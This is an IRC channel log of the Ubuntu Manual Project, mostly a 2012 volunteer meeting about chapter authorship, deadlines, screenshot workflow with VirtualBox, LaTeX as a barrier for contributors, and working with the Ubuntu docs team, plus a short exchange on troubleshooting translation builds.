<Captainkrtek> I can host it for free
<godbyk> (It doesn't cost me anything extra and I have 'unlimited' bandwidth and disk space.)
<Captainkrtek> let me give you the specs on my box
<godbyk> The only thing I'm not hosting at the moment is the Quickshot backend server (where all the screenshots get uploaded to).
<Captainkrtek> AMD x2 4200+ (or faster, based upon availability)
<Captainkrtek> 4GB DDR2-667
<Captainkrtek> 2 x 250GB SATA-II
<Captainkrtek> 3TB on 100mbps port
<godbyk> Captainkrtek: Do you have bandwidth or disk space limitations?
<Captainkrtek> that's the setup
<Captainkrtek> 3TB BW per month cap
<Captainkrtek> on 100mbps
<Captainkrtek> 250GB in RAID1
<Captainkrtek> The thing handles extremely stable under high loads
<godbyk> Captainkrtek: Cool. I don't think we have a pressing need at the moment, but I'll be sure to keep it in mind.
<Captainkrtek> okay
<Captainkrtek> :-)
<Captainkrtek> currently an unofficial Ubuntu mirror: http://mirror.slashdev.org/ubuntu/ if you wish to test DL speeds
<godbyk> I just checked the bandwidth numbers for the past 30 days.  Looks like we used 60 GB of bandwidth.  We use a lot more when we release new manuals. It'll be neat to see what it is for this next month.
<Captainkrtek> hehe
<Captainkrtek> In the past my box has used a gig in two minutes
<Captainkrtek> for about a few days straight
<Captainkrtek> godbyk, how many people buy the book?
<godbyk> Captainkrtek: Let me look.
<godbyk> Andre_Gondim: I've asked one of the Quickshot guys to approve the pt_BR screenshots.  That'll solve some of the problems.  Then I can see what problems remain.
<Andre_Gondim> ok
<godbyk> Captainkrtek: Here are the number of printed copies sold for the various translations/editions we've published so far:
<godbyk> 8709550	Getting Started with Ubuntu 10.04 -- Print	134
<godbyk> 9121535	ÎÎµÎºÎ¹Î½ÏÎ½ÏÎ±Ï Î¼Îµ ÏÎ¿ Ubuntu 10.04 -- Print	3
<godbyk> 9148542	Erste Schritte mit Ubuntu 10.04 -- Print	19
<godbyk> 9235313	Getting Started with Ubuntu 10.04 - Second Edition -- Print	77
<godbyk> 9925495	Aan de slag met Ubuntu 10.04 -- Print	19
<Captainkrtek> very cool
<godbyk> (The first column of numbers is the product ID.  The final numbers are the copies sold.)
<Captainkrtek> oh also godbyk
<Captainkrtek> issue with the quickshot ppa
<Captainkrtek> http://paste.ubuntu.com/611300/
<godbyk> Ah, they probably haven't pushed natty packages yet.
<Captainkrtek> gotcha
<godbyk> Captainkrtek: You might email the Quickshot developers about it: quickshotdevs@lists.launchpad.net
<Captainkrtek> k
<Captainkrtek> gonna get those screenshots now :)
<godbyk> 'kay. Thanks!
<Andre_Gondim> godbyk, betweent this glsp, can translate it?
<godbyk> Andre_Gondim: The stuff inside \glspl{...} should *not* be translated.
<Andre_Gondim> ok
<Andre_Gondim> godbyk, I've made some fix that I found it, I go to bed, see ya ;)
<godbyk> Okay. Good night, Andre_Gondim.
<issyl0> Good afternoon.
#ubuntu-manual 2012-05-16
<tisqueldotim> Anyone got a manual exclusively for Lubuntu yet ??
#ubuntu-manual 2012-05-17
<godbyk> Hello, tisqueldotim. Right now the Ubuntu Manual project has been focusing on the regular Ubuntu distribution. We haven't worked on manuals for Lubuntu, Kubuntu, etc.
<godbyk> tisqueldotim: Having said that, it's something we're interested in exploring. If you think enough people would be interested in such a manual (and would be willing to help create it), I'm happy to help you with our tools and we could even distribute the manual on our website.
<tisqueldotim> godbyk, Well that's interesting .. I have to say that I'm looking at both the Ubuntu manual and the eian administrators handbook , and I'd like to be able to use the 'comments' tool to leave such text as post-it's in the manual for my friends and colleagues to click on and assess as the manual evolves (as it is copy-left) Do you know of such a program  ( At moment I use nitro-PDF ) and can you give me the name ??
<tisqueldotim> **debian admin ...
<tisqueldotim> godbyk, What were those tools again ??
<godbyk> Hellp, tisqueldotim.
<godbyk> tisqueldotim: You might have a look at crocodoc.com.  We used that a bit for editing last time.
<godbyk> You can upload the PDF and annotate it.  I think you can download the annotated PDF, too, but I'm not sure.
<godbyk> The tools I was talking about are the tools that we use to generate the manual: LaTeX, our document template, website, etc.
#ubuntu-manual 2012-05-19
<hannie> hi thorwil I see your name on the mailing list, but not the authors list. You are not an author?
<thorwil> hi hannie. no, not an author
<hannie> nor an editor?
<thorwil> hannie: yes, not an editor either
<hannie> ok, just wanted to know
<c7p> hey all
<tomswartz07> hi all
<c7p> hello
<c7p> i think we didn't estimated the meeting time good enough
<c7p> :P
<tomswartz07> there were a few that couldnt make it, i saw. haha
<tomswartz07> its okay. any guess on how many we have?
<c7p> just before some mins the champions league final started
<c7p> hm idk
<c7p> who's here for the meeting ?
<stillnotcool> o/
<tomswartz07> o/
<herat> hi I am here.
<c7p> godbyk: ping !
<c7p> hello Tony
<thorwil> o/, though all i have to say is that i intend to deliver an update of the titlepage. and maybe also of the project logo
<TonyP> Hello!
<c7p> thorwil:  good news !
<godbyk> Hey, c7p.
<c7p> hallo
* godbyk changed the topic of #ubuntu-manual to: Ubuntu Manual Project discussion | Meeting agenda: http://pad.ubuntu-uk.org/UMP-12-04-4thMeeting | Oneiric edition released! | Style Guide: http://files.ubuntu-manual.org/style-guide.pdf | Website: http://ubuntu-manual.org | Launchpad: https://launchpad.net/ubuntu-manual | IRC logs: http://irclogs.ubuntu.com
<tomswartz07> we ready to roll on?
<godbyk> c7p: Are we expecting many more people at this meeting or is most everyone here?
<c7p> almost everyone is here from what i see on doodle
<godbyk> Okay. Shall we get started then?
<c7p> i think yes
<godbyk> #startmeeting
<meetingology> Meeting started Sat May 19 19:05:13 2012 UTC.  The chair is godbyk. Information about MeetBot at http://wiki.ubuntu.com/meetingology.
<meetingology> Available commands: #accept #accepted #action #agree #agreed #chair #commands #endmeeting #endvote #halp #help #idea #info #link #lurk #meetingname #meetingtopic #nick #progress #rejected #replay #restrictlogs #save #startmeeting #subtopic #topic #unchair #undo #unlurk #vote #voters #votesrequired
<godbyk> #topic Roll call
<godbyk> Thanks for coming everyone.
<godbyk> If you're here for the meeting, please say 'hello' for our roll call.
<tomswartz07> Hello
<c7p> hello
<stillnotcool> hello
<herat> hello
<TonyP> hello
<thorwil> hello
<godbyk> Thanks!  If anyone comes in late, meetingology should catch them.
<godbyk> #topic Author updates and status reports
<godbyk> The deadline for the first draft is May 31.
<c7p> here you can see the status every single section http://bit.ly/I0SAXe
<godbyk> All of the new content should be written and the screenshots should be in place by then.
<godbyk> To the authors: Have you encountered any problems or do you have any questions so far?
<stillnotcool> "Learning More" should be all set
<godbyk> Does anyone think they won't be able to make the May 31 deadline?
<stillnotcool> Obviously, this is not a mission-critical chapter :)
<stillnotcool> But I do enjoy maintaining it
<tomswartz07> None in my sections so far. Just need to do some finishing touches and screencaps
<herat> None in my section.
<godbyk> That's quite comforting to hear! :-)
<c7p> herat screens are pushed on the branch ?
<godbyk> Though, I suppose it's more likely that the authors I need to worry about are the ones who aren't at the meeting. ;-)
<c7p> y maybe :D
<stillnotcool> ha! true
<herat> c7p: Yes.
<godbyk> c7p: Were there some issues with the Troubleshooting chapter?
<c7p> cool so is finished almost finished ?
<c7p> yap will talk about it next
<herat> c7p: Yes. It is finished. :)
<c7p> cool
<c7p> well
<c7p> from the desktop chapter i got almost no feedback from John
<c7p> Hannie must doing well
<c7p> what concerns me most is the first part of that chapter that is very important and doesn't have an author
<sayantandas> hello
<sayantandas> everyone
<c7p> hey sayantandas
<sayantandas> finally managed to login to irc!
<c7p> :D glad to hear that
<tomswartz07> c7p: which chapter is missing an author?
<c7p> yap
<c7p> i 've sent a message to the list but nobody seemed interested
<c7p> or maybe John did but i got scarce feedback from him
<c7p> we'll need one or two to get assigned to it
<c7p> i don't think many have to change there but that section has to be the most well-written
<c7p> cause it's very critical in my opinion
<tomswartz07> can we just flip an editor to review it?
<godbyk> c7p: I agree that that section is most critical to understanding how to use Unity/Ubuntu.
<c7p> tomswartz07: maybe, that could help,
<c7p> is anyone interested in helping with that section ?
<tomswartz07> i figure, if there arent too many changes, it should be no issue for an 'editor' style review
<TonyP> I will review it, if that would help
<c7p> cool, thx TonyP
<TonyP> Just point me at it
<c7p> we need an author too to write the HUD section
<sayantandas> if any chapter requires input, i may be able to help..
<c7p> and maybe the chapter has to be reorganized for a better understanding, i'm not sure about that though
<c7p> good to know
<sayantandas> i have the sound menu for review; i have seen changes are quite little
<c7p> cool
<c7p> then the Additional software section
<c7p> i have not feedback from its author
<c7p> herat could you manage it ?
<godbyk> Hello, che.
<c7p> *additional software section is in the Software management chapter
<Guest67191> He guys, sorry I'm late, rushed off my feet here :)
<herat> c7p: Yes, I could do that.
<c7p> hello Guest67191
<c7p> herat: nice, thx
<Guest67191> <--kereltis
<c7p> hm, anything else to be said in this topic ?
<godbyk> c7p: Did we find authors for all the sections that need them?
<c7p> Anthony will do the office suite and totem sections
<c7p> and then troubleshooting chapter need author
<c7p> or authors
<c7p> tomswartz07 and Kev Quirk are interested from what i remeber
<c7p> if nobody appears for that chatper
<godbyk> c7p: Okay. Let's try to get that sorted out over the next couple days. If need be, we can put out another call for authors for those sections.
<tomswartz07> sure, id be willing to work on it.
<c7p> godbyk: yea
<sayantandas> i am ok to work for HUD + my existing sections
<godbyk> #topic Troubleshooting chapter
<godbyk> c7p: Did we cover the troubleshooting chapter already?
<c7p> tomswartz07: could you manage the a part of this section or make an outline for it ?
<c7p> nope i don't think so
<tomswartz07> surely. what do you need done?
<c7p> sayantandas: ok good :), we'll talk through mail about it
<c7p> 1st i think the chapter needs to be re-written in order to meet today needs
<c7p> not much have changed there since 10.04
<c7p> at least that's my impression
<c7p> so section have to be removed, others need update and others need to be added
<c7p> what do you think ?
<tomswartz07> sounds good. Ill work up a detailed outline for the new chapter
<c7p> ah good
<tomswartz07> would GoogleDocs work for everyone, or should I use another service?
<godbyk> tomswartz07: Google Docs should work fine.
<c7p> Kev is also interested so if you need a second hand he should be able to help
<godbyk> Hey, ChrisWoollard.
<c7p> hello Chris !: )
<ChrisWoollard> Sorry I am late. Was putting kids to bed
<godbyk> ChrisWoollard: Excuses, excuses!
<Guest67191> Hi Chris
<ChrisWoollard> At least i remembered this time
<c7p> aren't you watching Chelsea ? :P
<ChrisWoollard> Hi Guest67191
<ChrisWoollard> No. Couldn't care less about football
<c7p> fair enough
<tomswartz07> zing!
<Guest67191> brb guys, trying to sort out this name thing
<kereltis> ok, sorted
<godbyk> c7p: Did we get all the authors/chapters discussion sorted?  (That is, shall we move on to the next topic?)
<c7p> ok so tom will make an outline of the new chapter
<tomswartz07> yes
<tomswartz07> ill sort it and share with the mailing list
<c7p> if tom hasn't to say anything else let's proceed
<c7p> :) nice
<godbyk> #topic VirtualBox as a tool for authors and editors
<godbyk> tomswartz07: Did you want to lead this part of the discussion?
<tomswartz07> certainly.
<tomswartz07> ive found that, while working on the manual sections, VirtualBox makes it easier to manage your systems
<tomswartz07> i feel it would be best to give an example.
<tomswartz07> In the Instant Messaging section, there is a section on the 'First Run' dialog, and how you may set up your accounts.
<tomswartz07> unfortunately, its difficult to pull up the first run, well.. after your first run.
<tomswartz07> If you use Virtualbox, you can run a fresh, clean install of Ubuntu, avoiding issues from your own personal customizations
<c7p> hm, that would be highly beneficial especially if we use it for the 12.10,
<tomswartz07> I feel that this would be most helpful for the sections that deal with the desktop and UI elements, as having screenshots with various backgrounds, fonts, etc may confuse
<tomswartz07> the main feature about Virtualbox is that you can take a "Snapshot" that saves the exact machine state.
<kereltis> I agree, I use vbox all the time for testing distros and it's very easy to setup and use
<tomswartz07> so, if you need to redo a 'first-run' menu many times, you just reload that snapshot
<tomswartz07> kereltis: right! its very easy to set up- it installs a basic Ubuntu (or any OS) as a file on your drive, and you run it as a program
<kereltis> yep
<godbyk> tomswartz07: If people are interested in using VirtualBox with the Ubuntu Manual project, it might be useful to have some step-by-step instructions on how to set it up for that use. We could put the instructions on the mailing list and in the style guide.
<tomswartz07> Certainly.
<c7p> good idea
<kereltis> good idea
<c7p> after some releases this guide will be a manual to make a manual :P
<tomswartz07> very meta
<godbyk> c7p: That's the goal. I'm trying to dump all of our how-to's and instructions in there.
<tomswartz07> i guess the idea is, if we all die in a plane crash, everyone will know how to redo the manual
<c7p> btw Kevin, https://wiki.ubuntu.com/ubuntu-manual works ?
<TonyP> We will need to have a list of standard login id, machine name, etc
<godbyk> c7p: Yes, though it's likely woefully out of date.
<c7p> yes i see it
<thorwil> does virtualbox support some kind of automation?
<tomswartz07> thorwil: what do you mean?
<thorwil> tomswartz07: automating "user" actions
<tomswartz07> no, unfortunately.
<tomswartz07> Virtualbox is made to allow you to run different operating systems at once on the same machine
<tomswartz07> similar to Parallels for Mac, i guess.
<thorwil> being able to write a script that walks through all required states and does screenshots would have been to awesome
<godbyk> thorwil: Agreed. That would've been awesome.
<godbyk> If VirtualBox could've been giving a list of keystrokes and mouse clicks to perform.
<c7p> has anyone checked it http://shutter-project.org/ ?
<tomswartz07> Now, VB can take a screenshot of the system that will work for our manual, provided you set the VB resolution to the proper settings.
<c7p> that sounds interesting tom
<herat> c7p: tried that but did not work perfectly for me.
<tomswartz07> c7p: right?
<tomswartz07> Because the entire OS from virtualbox runs in a program window, you can resize the 'display' to the appropriate setting and snap the screenshots
<godbyk> c7p: Shutter looks nice and appears to have a plugin system. I wonder if the functionality of Quickshot could be incorporated into a Shutter plugin.
<c7p> i ll take a look on it in summer when i'll have more free time
<godbyk> #topic UDS meeting report
<c7p> *i'll look at it
<godbyk> Hannie and I attended the Ubuntu Manual UDS session via IRC.
<godbyk> I'm not sure who else was listening in at the time on IRC.
<kereltis> I missed it
<c7p> me too :(
<ChrisWoollard> missed uds completely
<godbyk> We discussed a bit about the history of the project and a bit about where we wanted to go with it.
<kereltis> was hoping it would appear on youtube
<godbyk> popey posted an email to his LUG and a blog entry asking his readers why they weren't contributing to the manual. You can read their responses:
<godbyk> https://lists.ubuntu.com/archives/ubuntu-uk/2012-May/thread.html#34095
<godbyk> http://popey.com/blog/2012/05/09/why-not-contribute-to-ubuntu-manual/
<godbyk> Just a sec and I'll find the link to the IRC channel logs.
<TonyP> Well, I responded to popey's email
<kereltis> we ask Jono to include a trophy in his ubuntu trophy project, might help with awarness
<godbyk> Here are the pad notes from the session: http://summit.ubuntu.com/uds-q/meeting/20570/desktop-q-ubuntu-manual/
<c7p> Kevin i think Latex terrifies everyone who checks out getting involved pages !
<stillnotcool> c7p: +1
<tomswartz07> +2
<kereltis> c7p that's a good point
<godbyk> IRC logs: http://irclogs.ubuntu.com/2012/05/09/%23ubuntu-uds-grand-ballroom-h.html
<c7p> +3 so :P
<stillnotcool> I have been contributing to the manual since the first edition, and I have never once installed or run Latex
<godbyk> The IRC logs consist primarily of me responding to questions and discussion from the people at the UDS session.
<godbyk> (So it'll read as being quite one-sided.)
<thorwil> what's the alternative? docbook isn't necessarily more accessible. the manual written in LO Writer isn't gonna happen
<godbyk> Is it LaTeX itself that's intimidating or the installation process?
<c7p> we can still use Latex
<c7p> but the authors should have the option either to use it or not
<godbyk> We have in the past allowed authors to submit their work in others formats.
<godbyk> Then we have editors manage the LaTeX markup.
<stillnotcool> godbyk: Yes, and I think that went a long way toward encouraging more participation
<godbyk> I'm okay with that as long as the editors as willing to do it.
<godbyk> From the discussions I've had, it seems that people have been more put off by the installation process of upstream TeX Live than in using LaTeX itself.
<godbyk> Do you guys agree or disagree?
<tomswartz07> half and half.
<kereltis> agree
<TonyP> No probs for me even though I have not used LaTeX, but the install was hairy
<godbyk> Unfortunately, I think that the Debian folks are still rejiggering their texlive packages. (They're completely overhauling the way they're organized.)
<stillnotcool> godbyk: Agree.  The installation process involves using the command line
<tomswartz07> i think that many are put off by the massive install base that TeX takes, and the other half assume that you need to be a code monkey to do anything
<ChrisWoollard> I can imagine people just want a ubuntu package.
<kereltis> I'd still prefer to use Libreoffice though
<sayantandas> there is a gui version of latex, and also libreoffice extension.. can we not use either of them?
<godbyk> sayantandas: Well, there are LaTeX editors (basically IDEs for LaTeX) and you're welcome to use those.
<c7p> godbyk: can't we generate a file with the proper options that will be used from installer ?
<godbyk> sayantandas: I don't think that the LibreOffice extensions will work with our manual, however.
<godbyk> c7p: I'm not sure. I'll look into it, though.
<stillnotcool> I'm wondering if authors need to install or use LaTeX at all.  If not, then we might be able to remove all the LaTeX stuff from the "getting involved" instructions
<godbyk> Ideally, I'd love for our authors and editors to be able to do all of the work via a web editor (similar to a wiki but a bit more structured). But we need to do some design work and a lot of coding before that can happen.
<stillnotcool> this might eliminate a critical barrier to entry, allowing folks new to the project (or thinking about getting involved with it) a simple way to do so: Contrat the group, find an editor who needs a writer for a section, and get cracking.
<stillnotcool> *contact
<godbyk> stillnotcool: That's something we can do now. Authors can submit their writings to an editor as long as the editor is willing to convert it to LaTeX for them.
<stillnotcool> Right.  And it's worked well in recent editions.
<c7p> can we use docbook to generate latex code ?
<godbyk> c7p: Yes. Though there will always have to be some fine-tuning of the output.
<godbyk> c7p: I think that the docbook markup is at least as scary as the LaTeX markup, though.
<ChrisWoollard> i agree
<c7p> ok
<stillnotcool> godbyk: I agree. What I'm thinking about might indicate a larger shift in the way we conceptualize the role of author and editor, the division of labor between the two
<tomswartz07> stillnotcool: +1
<godbyk> I completely agree that we should simplify the workflow for authors and editors.
<stillnotcool> The instructions we feature on our home page seem to imply that writers -- in order to write and contribute -- need complex installations of software not already on their machiens, and not even available in the official repositories
<godbyk> And it'd be nice if they didn't have to know anything about LaTeX.
<godbyk> I think that having a web-based editing system would fix those issues for us, and that we should work on creating one.
<godbyk> (Though it obviously won't happen in time for 12.04, it'd be nice if it could be in place for 12.10 or at least 13.04.)
<TonyP> But do they still need to use bzr?
<stillnotcool> TonyP: Ideally, authors would be in charge of writing.  Anything else is icing, gravy.
<TonyP> That's just as scary
<stillnotcool> Here's what Hannie and I do for Chapter 8:
<stillnotcool> Hannie pulls the most recent copy of the chapter from bzr when it's time to work
<stillnotcool> He shares that on Google Docs, where we both collaborate (I do the writing, he edits as I go).
<stillnotcool> WHen I sign off on it, he gives it a final edit, asks any remaining questions, then tightens the markeup and pushes the revision
<stillnotcool> This is a special case, I suppose, because we don't have screenshots
<stillnotcool> He and I both agreed to use GDocs because we're comfortable with it, and it mae collaborating easier.
<godbyk> Cool.
<stillnotcool> Writer/editor pairs could choose another tool if one works better.
<tomswartz07> Thats a very great idea
<stillnotcool> But this has worked well for us, and allowed me to do what I enjoy most: writing.
<godbyk> Another route that some authors/editors have taken is to just drop .ods files into an Ubuntu One shared folder.
<stillnotcool> godbyk: I like that, too.
<c7p> sounds good
<ChrisWoollard> Maybe it is just a case of making sure people know that they can write anyway that suits them
<tomswartz07> or Dropbox, if you prefer cross platform for us Arch users :)
<godbyk> What I have envisioned is that we'd have a website that works similar to a wiki. Though instead of using wiki markup, we'd have a WYSIWYG editor.
<godbyk> Authors would write content.
<stillnotcool> We might advertise author jobs as writing jobs, and editor jobs as technical positions -- the work not only of editing prose, but marking up copy and taking screenshots (doing more technical work)
<godbyk> Once authors have written content, the editors are notified and can come along and tweak things.
<godbyk> Once the editors have finished with it, the translators are notified and can translate that section.
<godbyk> All of that would happen on the website. There'd be no LaTeX or bzr visible.
<stillnotcool> godbyk: Right.
<godbyk> In addition, when something that's been translated is edited/modified, the translated can see what's actually changed.
<godbyk> So if, say, a comma were added, the translated could see that only a comma has been added and that they don't need to retranslate the entire paragraph.
<godbyk> I think that would go a long way toward helping our translators.
<godbyk> They could start work a lot earlier in the process and keep up more easily.
<stillnotcool> godbyk: Well put
<godbyk> Once everything has been written an edited, we'd generate the LaTeX code, make any tweaks there that we wanted to make and have our PDFs ready to go.
<herat> http://www.scribtex.com/ Has anyone tried it? It has all the features we need.
<godbyk> At the same time, we'd generate ePUB and other formats.
<stillnotcool> herat: Yes! But costly.
<herat> stillnotcool: Oh. Did not see that.
<godbyk> herat: I haven't tried it yet. Though we'd need to be able to use our own document class ("template").
<godbyk> And it looks like it's $10/month.
<godbyk> Anyway, that's some of what I have envisioned for our website and process in the future. To make that happen, we'd need to design the site in more detail and find some web developers to create it for us.
<c7p> yap
<c7p> we also need to talk about the project to the outside world
<stillnotcool> herat: I won't presume to argue for what's best with regard to our implementation/use of LaTeX.  godbyk is the expert there, and knowsmore about what we need/want than I do.  I'll just say that from a writer's perspective the current instructions are a little intimidating, and I think it behooves us in the near future to reconsider our writer/editor workflow to better accommodate newer contributors.
<godbyk> This website would also allow for drive-by editing. Anyone can come along and fix bugs.
<stillnotcool> godbyk: I like it.
<godbyk> If they're anonymous edits, they'd need to be approved by a registered editor first.
<tomswartz07> I think what we need is a person to basically hit up all of the Linux news outlets and cheerlead our project. if we could get more users, we could get much more varied skills and more breathing room to work
<ChrisWoollard> maybe worth testing at least
<godbyk> ChrisWoollard: What's worth testing?
<ChrisWoollard> scribtex
<godbyk> ChrisWoollard: Ah, gotcha.
<godbyk> I'll poke around it a bit and see how it looks.
<ChrisWoollard> click trial. it takes you to a demo site
<stillnotcool> I like how the basic/free version is limited to "one bollaborator."  I'm unsure what that actually looks like!
<stillnotcool> *collaborator
<godbyk> Another topic that was raised during the UDS session:
<godbyk> #topic Collaboration with the docs team
<godbyk> The question of why we're not collaborating with the docs team is raised periodically.
<godbyk> Aside from some initial strife between Ben and the docs team when the project first started,
<godbyk> I think the real reason for lack of collaboration is that no one from either team has really taken up the issue.
<stillnotcool> godbyk: Right, a schism I never really understood, to be honest.
<ChrisWoollard> Are they still using another system. I forgot which one
<c7p> godbyk: i agree
<godbyk> My question is: In what ways would  teams benefit from collaboration? How can we collaborate?
<godbyk> ChrisWoollard: I think they're using docbook/mallard markup.
<ChrisWoollard> Ahhh. Mallard. That's what I was thinking of
<stillnotcool> I think the docs team likely has a better sense of what's most useful to the uninitiated.
<godbyk> Questions: How could the docs team help the manual project?   How could we help the docs team?
<stillnotcool> The docs team must document _everything_ in Ubuntu, but it's likely they have some kind of data regarding which documentation is accessed most frequently by new users.
<stillnotcool> Understanding these patterns might help us target our manual and ensure that our chapters cover relevant material
<c7p> i don't know how we can help each other, maybe we can have a poll of content were anyone of both project can have direct access to the work of the other
<stillnotcool> And because we are trying to remain sensitive to the needs of new/inexperienced users, we might offer them this perspective on relevant sections of the official documentation, which could benefit from what we've already done
<godbyk> I'll ask a stupid question while I'm at it (admitting my own ignorance): What does the docs team do?
<godbyk> From what I gather, they maintain the official Ubuntu help files.
<stillnotcool> my understanding is that the team maintains the documentation at help.ubuntu.com
<c7p> i think that's what they do
<godbyk> Okay.
<ChrisWoollard> It would be nice to hear from them occasionally
<TonyP> So they are the help team
<stillnotcool> My sense is that we're all working with the same mission, though our foci are different
<stillnotcool> we are writing material specifically targetted at new users
<kereltis> True but I see the two projects as aiming at different people, they cover everything in great detail which can turn into geek speech, good stuff but can be intimidating if your new to computers. We on the other hand target the people that are brand new and just want the basics to get them started in basic language they can easily follow.
<stillnotcool> what we do seems to me a subset of the overal project of documenting Ubuntu
<stillnotcool> kereltis: Yes.
<stillnotcool> So, try this:
<stillnotcool> visit the home page for 12.04 documentation
<stillnotcool> https://help.ubuntu.com/12.04/index.html
<TonyP> or https://wiki.ubuntu.com/DocumentationTeam
<stillnotcool> On that page, you'll see a few different types of documentaiton
<stillnotcool> A desktop guide
<stillnotcool> A server guide
<stillnotcool> and an installation guide
<stillnotcool> our manual could be the first link: 1. "Getting Started Guide"
<godbyk> One difference between their desktop guide <https://help.ubuntu.com/12.04/ubuntu-help/index.html> and our manual is that we can't easily redirect the user to read, say, the Empathy help pages for more information. We try to include the most common and useful information directly in our manual.
<stillnotcool> godbyk: Right, and we rightly shouldn't.
<godbyk> In other words, our manual needs to be fairly self-contained instead of merely pointing to other documentation.
<c7p> yap
<stillnotcool> Our manual assists new folks with the task of navigating a stock installation.
<godbyk> I'm just poking around their desktop guide, so this may not be representative.
<godbyk> It appears that their style is very oriented on the how-to.
<godbyk> Example: âTo let other users use your computer, you can either log out, or leave yourself logged in and just switch users. If you switch users, all of your applications will continue running, and everything will be where you left it when you log back in.â
<stillnotcool> When they're ready to graduate from "Getting Started," they head to the "Desktop Guide," which could actually be renamed to something like "Complete Documentation" or "Advance Documentation"
<godbyk> Most of their paragraphs begin with, âTo do x, ...â
<godbyk> Whereas we should be providing a bit more background/discussion instead of just a sequence of steps to follow.
<stillnotcool> godbyk: +1
<c7p> +1
<godbyk> Having said that, I do think it'd be useful if we explored the topics that they're covering in the desktop and installation guides to see if there's anything that we're missing.
<godbyk> (Or conversely, anything that they're missing that we think they should add.)
<stillnotcool> godbyk: Agreed.
<kereltis> Agreed
<c7p> me too
<godbyk> Would anyone here be interested in taking up that task?
<godbyk> That is, doing a comparison between their desktop and installation guides and our manual?
<stillnotcool> godbyk: Would it be something each author could do for his or her individual chapter?  Perhaps editors could peruse the documentation for their subjects and suggest to authors changes or additions.
<godbyk> stillnotcool: Possibly, though the info might be scattered around quite a bit.
<godbyk> Tell you what, I'll take on that task.
<godbyk> I'll have a look at their guides and see what they cover and what we cover, figure out the overlap and things that each group has missed.
<c7p> guys i got to go
<stillnotcool> godbyk: That's generous.  Thanks for doing it.
<godbyk> Okay, see you later, c7p.
<kereltis> cya c7p
<c7p> i think this was one of the best meetings !
<c7p> see you all
<stillnotcool> bye c7p
<c7p> thanks for being here
<kereltis> same, we got a lot discussed
<godbyk> Okay, I think we have just a couple more topics and then we'll be finished.
<godbyk> #topic Screenshot editors
<godbyk> We've discussed this previously a bit.
<godbyk> I think that it'd work best if the authors took the initial screenshots (so they can show us what they want), and then we should have one or two screenshot editors who come along afterward and take all the "official" screenshots.
<godbyk> I think having a couple people taking all the screenshots will help ensure consistency.
<kereltis> agreed, it would cut down on problems
<godbyk> What do you guys think?
<TonyP> Good idea
<stillnotcool> godbyk: Sounds easy enough.  Writers could just use the built-in screenshot software to give editors the gist.
<godbyk> Would anyone here like to volunteer to be a screenshot editor?
<godbyk> If not, I'll send an email to the list and ask for volunteers.
<godbyk> Okay, I'll email the list.
<kereltis> We'll need someone who knows LateX I presume
<godbyk> kereltis: Nope. Just someone who's detail-oriented and can take screenshot with the proper resolution and whatnot.
<godbyk> #topic Call for editors
<godbyk> Hannie sent an email to the list earlier this week to get volunteers to be editors.
<godbyk> I don't think she got much of a response.
<TonyP> Just me and someone else
<kereltis> We could ask omgubuntu and iHeartubuntu to give us a mention and ask for editors
<godbyk> She's going to email the editors we have and some of the editors we've had in the past to see if they're still interested in helping.
<godbyk> Having said that, I think that we'll still need more editors.
<godbyk> I'll write up a call for editors that we can send out to website.
<godbyk> What website would you suggest I send it to?
<kereltis> omgubuntu
<tomswartz07> kereltis: +1
<stillnotcool> think that's our best bet
<godbyk> Okay.
<godbyk> I'll have someone post it to Planet Ubuntu as well.
<TonyP> Something in the Ubuntu weekly news?
<stillnotcool> we might make the call more specific ... assess our needs as say "we need editors with knowledge of x, y, and z"
<stillnotcool> TonyP: +1
<godbyk> TonyP: Good idea. I'll ask pleia2 about that.
<kereltis> yep, maybe http://benjaminkerensa.com/ as well
<godbyk> 'kay.
<godbyk> #topic Any other business
<godbyk> I think we've touched on everything that was on the agenda.
<stillnotcool> Nice work godbyk. Thanks for chairing and leading.
<godbyk> Just a reminder that the upcoming deadline of 31 May is when authors need to have finished their writing and draft screenshots.
<godbyk> Does anyone have any other business they'd like to discuss?
<godbyk> Or any questions?
<stillnotcool> All set :)
<godbyk> All right. Since there is no other business, we're adjourned.
<godbyk> Thanks for coming, everyone!
<godbyk> #endmeeting
<meetingology> Meeting ended Sat May 19 20:46:46 2012 UTC.
<meetingology> Minutes (wiki):        http://ubottu.com/meetingology/logs/ubuntu-manual/2012/ubuntu-manual.2012-05-19-19.05.moin.txt
<meetingology> Minutes (html):        http://ubottu.com/meetingology/logs/ubuntu-manual/2012/ubuntu-manual.2012-05-19-19.05.html
<kereltis> I've checked my chapter and it can be tranfer straight over from 11.10 instead of converting it again, just needs to looked over by an editor
<kereltis> Thanks guys!
<godbyk> kereltis: Good to hear -- thanks!
<stillnotcool> So long, friends!
<godbyk> I'll post the meeting minutes to the mailing list later today.
<godbyk> See you later, stillnotcool. Thanks for coming!
 * stillnotcool waves
<kereltis> See you all, have a great weekend!
<tomswartz07> later folks!
<pleia2> godbyk: if you post it to planet I'll make sure we include your post in UWN
#ubuntu-manual 2012-05-20
<godbyk> pleia2: Thanks!  I'll let you know when I get everything put together.
<benonsoftware> Sorry all I couldn't attend the meeting
<godbyk> benonsoftware: No worries.
<godbyk> I'll post the meeting minutes to the mailing list later tonight or tomorrow.
#ubuntu-manual 2013-05-15
<hannie> hi teo
<hannie> just saw LPack posponed
<hannie> *postponed
<CarstenG> Hi
<cqfd93> Hi CarstenG!
<CarstenG> Hi Sylvie
<CarstenG> I just read your email
<CarstenG> I will test the script with raring this evening.
<cqfd93> Thank you! The po I was using is still missing about 30 strings, but I don't think it is the source of the problem.
<CarstenG> I just made a "make ubuntu-manual-fr.pdf" without using the script.
<CarstenG> And I got some errors, too.
<CarstenG> So I think you should first fix these errors...
<cqfd93> I too, get some errors without using the script, but I just don't know how to fix them
<CarstenG> ok
<CarstenG> In this case do a "make clean" and then a "make ubuntu-manual-fr.pdf"
<CarstenG> Then go back to the beginning of the output and scroll down through all the log lines.
<cqfd93> OK, I'll try that
<CarstenG> Look for some LaTeX errors like "undefined control sequence",
<CarstenG> "Too many {"
<CarstenG> these are the typical errors during translation.
<CarstenG> If one miss some { or }, or if you have a typo in a command, like \acromyn...
<cqfd93> only one undefined control sequence
<CarstenG> fine, then fix this in your original po file and start again with make clean
<CarstenG> And yes, my script needs also an update. I tested it with the Slovenian po file and I got the same error like you...
<cqfd93> carsteng: Do you also get a "No file ubuntu-manual-fr.ind.
<cqfd93> " message when you make the French pdf?
<CarstenG> Yes, but in the first latex run, this is normal, because the index is not yet generated.
<cqfd93> I get this message each time, not just after a make clean
#ubuntu-manual 2013-05-16
<cqfd93> godbyk: we just started proofreading the French translation
<godbyk> cqfd93: You translators are so fast nowadays!
